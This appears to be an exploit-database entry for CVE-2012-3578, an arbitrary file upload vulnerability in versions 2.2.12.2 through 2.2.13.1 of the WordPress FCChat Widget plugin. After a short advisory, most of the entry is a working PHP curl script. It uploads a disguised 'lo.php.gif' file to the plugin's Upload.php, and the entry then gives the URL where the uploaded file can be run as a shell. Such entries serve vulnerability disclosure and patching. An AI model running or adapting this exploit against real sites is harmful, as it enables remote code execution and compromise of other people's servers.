WordPress Plugin FCChat Widget 2.2.x - 'upload.php' Arbitrary File Upload

Author: Sammy FORGIT
type: webapps
platform: php
port: 
date_added: 2012-06-07 
date_updated: 2015-06-25 
verified: 1 
codes: CVE-2012-3578;OSVDB-82658 
tags: WordPress Plugin
aliases:  
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source: https://www.securityfocus.com/bid/53855/info

WordPress FCChat Widget plugin is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input.

An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application.

WordPress FCChat Widget plugin 2.2.12.2 through versions 2.2.13.1 are vulnerable.

<?php

$uploadfile="lo.php.gif";
$ch =
curl_init("http://www.exemple.com/wordpress/wp-content/plugins/fcchat/html/Upload.php?id=1");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
         array('Filedata'=>"@$uploadfile",
                'Submit'=>'submit'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>

Shell Access :
http://www.exemple.com/wordpress/wp-content/plugins/fcchat/html/images/1_lo.php.gif

lo.php.gif
<?php
phpinfo();
?>